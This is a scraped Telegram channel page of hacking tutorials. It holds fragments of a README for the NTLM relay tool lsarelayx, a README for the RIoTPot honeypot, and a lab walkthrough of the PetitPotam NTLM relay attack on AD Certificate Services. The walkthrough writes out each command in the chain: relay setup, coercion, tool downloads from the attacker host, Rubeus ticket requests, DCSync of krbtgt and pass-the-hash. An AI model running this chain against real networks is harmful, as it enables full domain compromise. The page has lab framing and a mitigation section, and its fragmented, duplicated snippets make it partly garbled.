Hacking Articles Tips Tricks Videos Tutorials
471 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Lsarelayx : NTLM Relaying For Windows Made Easy Lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which…
needs to be specified. The default port is 6666. This can be overridden with the --portargument, but be sure to have also overridden the port on the ntlmrelayx side too using the --raw-portargument.

lsarelayx.exe –host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

Passive Mode

You can also run lsarelayx in passive mode by running without any arguments

lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

Caveats

Once the liblsarelayx DLL has been loaded into lsass, currently you cannot unload it due to limitations of how LSA plugins work. The client can be closed which will put the DLL into a dormant state until the client starts again but the DLL will be in use until a reboot occurs.

Since the LSA plugin is not actually a genuine plugin, there are plans to implement a reflective loader inside the plugin which can then be stopped and started at will but that’s an exercise for another day.

Development was performed on Windows 10 and Server 2016. A quick test was performed on Windows Server 2012 R2 which worked, but the calculation of offsets for hooking can fail on 2012 (this can be provided manually using the lookuppackage-hint=, get it wrong and Windows will reboot). No testing has been performed on anything below Windows 10 on the desktop side and nothing tested on Server 2019 at all.

Building Docker

If you have docker installed, this is the quickest option. It utilizes the ccob/windows_crossimage with all the build dependencies pre-installed. Docker on Windows (Powershell)

docker run –rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c “cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; –build . –target install/strip”

Docker on Linux

docker run –rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c “cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake –build . –target install/strip”

Linux

On Linux we utilise a CMake toolchain along with the MinGW compiler. These need to be installed before hand. For the managed component, please make sure the dotnet command line tool is also installed from .NET core

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake –build . –target install/strip

Windows (Powershell)

Windows will require a full CMake, MinGW and Visual Studio setup before even attempting to build, it’s the most painful way to build if you don’t have a development environment installed

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G “MinGW Makefiles” ..
cmake –build . –target install/strip Download

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
ign when they originate from sources like Shodan. The list of scanning services filtered by RIoTPot is below: * Shodan (https://www.shodan.io/) * Censys (https://censys.io/) * Project Sonar (https://www.rapid7.com/research/project-sonar/) * LeakIX (https://leakix.net/)…
he latest release of the riotpot consumer image
detached from the console with -d.
docker run -d riotpot-docker:latest

Local

To build your own binary from source, navigate to the folder where you have stored the repository and use the go CLI to generate it and store it in the ./bin/ folder:

build the binary in the ./bin folder
go build -o riotpot cmd/riotpot/main.go

Additionally, you could also install the application in the system:

# installs riotpot at $GOPATH/bin
$ go install

Run the binary as any other application:

$ ./riotpot

Documentation

The documentation for RiotPot can be found in go.pkg.dev, however, sometimes you might be in need to visualize the documentation locally, either because you are developing a part of it, of for any other reason.

The most common way of pre-visualizing documentation is by using godoc, however, this requires an initial setup of the go project. Find more information in the godoc page.

For simplicity, the riotpot godocdocumentation can be run as a separated local container from the dockerfile Dockerfile.documentation. To use the container simply type:

$ make riotpot-doc

This will run a container tagged with riotpot/v1at http://localhost:6060/. The documentation of the package can be accessed directly from http://localhost:6060/pkg/riotpot/.

Easy Access

We previously described how to set up the whole project, both installation and documentation, but some of the processes become routinely and lengthy when on the process of developing new features and testing. For this, in the root folder of the repository we have included a Makefilecontaining the most utilized routines with aliases.

The following commands will be run using makeplus the alias of the command. The Makefilecontains more commands, but this are the most widely useful:
CommandContainer NameDescriptionriotpot-upriotpot:developmentPuts up RIoTPot in development mode.riotpot-downriotpot:developmentPuts down RIoTPot.riotpot-docriotpot/v1Puts up a container with the local documentation.riotpot-allriotpot/v1, riotpotPuts the documentation and RIoTPot development mode up.riotpot-builderBuilds the binary and the plugins.
Example usage

run a command given its alias from Makefile
$ make riotpot-doc Download

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints

IntroductionWill Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research paper, they talked about an inherent vulnerability in the web interface of CA server with web enrolment service on. An attacker can therefore, relay the requests from the web interface to request Domain Controller machine account’s (DC$) certificate and gain escalation+persistence. PetitPotam is one such PoC tool developed by Lionel Gilles (found here) which can coerce or persuade a windows host to authenticate against DC which can be used to request certificate and gain escalation. Table of content· Vulnerability· Architecture· Lab Setup· Attack Demonstration· Initial Compromise· Certificate Generation - PetitPotam Python script· Certificate Generation - PetitPotam.exe· Certificate Generation - Mimikatz· Privilege Escalationo TGT generationo DCSync attacko PassTheHash attack· Mitigation· ConclusionAD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These enrolment interfaces are vulnerable to NTLM relay attacks. The web endpoints do not have NTLM relay protections enabled by default and hence, are vulnerable by default. Flow of the vulnerability is as follows:How do we force authentication?=> If an attacker is patient, he can wait for organic authentication. But we don’t have that much time so we need to force authentication. One such method is the famous “Printer Bug.” But it depends on the print spooler service to be running and vulnerable. Therefore, Lionel Gilles created “PetitPotam” which initially leveraged the vulnerable EfsRpcOpenFileRaw function in MS-EFSR protocol that had an insufficient path check vulnerability. By using this, attacker can make forced/coerced authentications over SMB thus increasing NTLM relay’s capabilities. Since then, many newer functions have been added in the PetitPotam tool.Architecture- DC1$:192.168.1.2Domain Controller- workstation01$:192.168.1.3Attacker Kali- Not in domain:192.168.1.4Attacker Windows- Not in domain:random IP(non-domain joined but DNS pointing to CA IP)Lab SetupOn the Windows Server where ADCS is already configured, go to the server manager and choose add roles and features and add the following three roles:___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints IntroductionWill Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research…
E6KfXxFgF-7FT22545BPzLJNFGYkdGbgd-MIvonugp_MYuY7239gDudHeG58krqwQ=s16000 http://dc1.ignite.local/certsrv/ Attack DemonstrationThe demonstration is divided into 5 parts: Initial compromise, 3 methods to request CA, and Escalation.Initial CompromiseSince this is a domain escalation attack, we first need access to the victim system. Here, I have compromised a computer which has workstation01$ account on it. It is clear that this system has a DC machine account on it which means the system belongs to a DC but we do not have access to DC.net group “domain controllers” /domain Our aim: generate DC certificate and authenticate CA server against it and escalate privileges to DC.Compromised Credentials: Harshit:Password@1ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support --adcs --template DomainControllerhttps://blogger.googleusercontent.com/img/a/AVvXsEjGrlg86Pgw_BUicyoS28frc43HC2y1eG-EOL64a3MH2OUbs3zhXHydmji0ujRzgydUmC-GKGNF17NdueKmuUA0f5xie5e2koJYvW7htmd1Xzo9hjQHRPdvH9r35YauotKQAW_bkvRypEmnD54_aj4-xs0ycnUq0LqdFw4F44eg5R7SuYQZJgLMe5NG2g=s16000 Certificate Generation - PetitPotam Python scriptPetitPotam can be downloaded from the official github repo here. To run the script is quite easy, you just need to specify the domain, credentials of the compromised user and IP of NTLM relayer (kali) followed by IP of the DCgit clone https://github.com/topotam/PetitPotamcd PetitPotam
python3
PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3 ___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
E6KfXxFgF-7FT22545BPzLJNFGYkdGbgd-MIvonugp_MYuY7239gDudHeG58krqwQ=s16000 http://dc1.ignite.local/certsrv/ Attack DemonstrationThe demonstration is divided into 5 parts: Initial compromise, 3 methods to request CA, and Escalation.Initial CompromiseSince this…
eeded: means that Cert Web Enrol has been called for a machine account (vulnerability in the Windows API for web enrolment) by providing authentication for a low priv user.Certificate Generation - PetitPotam.exeThe official GitHub repo also comes with the PetitPotam.exe file. You can upload this file to the victim server and execute and get the same results. If you see a slight pause and then Attack success!!! Status, you have generated the DC account’s certificate. In the PetitPotam.exe command, “1” refers to triggering of the exploit using default EfsRpcOpenFileRaw function vulnerability. There are other vulnerable functions added by the author too.powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe 192.168.1.3 1Certificate Generation - MimikatzAs people of culture, we like to add new exploits in our favourite mimikatz. EfsRpcOpenFileRaw function vulnerability can be triggered using mimikatz too. We just need to upload this to our victim’s server and execute the following command.powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe Privilege EscalationWe need to take a new Windows 10 system that is not in the domain to demonstrate this practical. We set up a local admin account on this system and change our DNS to point to the DC like so:.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz.....Kirbi is a base64 encoded TGT format used by Rubeus.___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
eeded: means that Cert Web Enrol has been called for a machine account (vulnerability in the Windows API for web enrolment) by providing authentication for a low priv user.Certificate Generation - PetitPotam.exeThe official GitHub repo also comes with the…
QnLOoA=s16000 DCSync attackUsing mimikatz, we can leverage this ticket to conduct DCSync attack. First, lets dump krbtgt account’s hashes.lsadump::dcsync /domain:ignite.local /user:krbtgt lsadump::dcsync /domain:ignite.local /user:administrator PassTheHash attackTo conduct PassTheHash, we will use Impacket’s psexec.py implementation and the following command:psexec.py -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.2And voila! That’s it. You can see that we have now compromised CA Server’s DC account (DC1$) just by leveraging the ADCS web enrolment vulnerability and creds of a low priv user.MitigationMicrosoft has rolled out a detailed advisory on the necessary patching mechanism which can be found here. But I’ll sum it up in short sentences here:default sites->certsrv optionauthentication)providers->negotiate:kerberosConclusionCertified-Pre Owned is a valuable white paper focusing on various ADCS vulnerabilities and through the means of our blog, we aim to create awareness about these attacks so that organisations can understand, implement and patch such unknown and unobserved weaknesses. Hope you liked the article. Thanks for reading.___________________________
@hacking_Attack
@Hacking_Video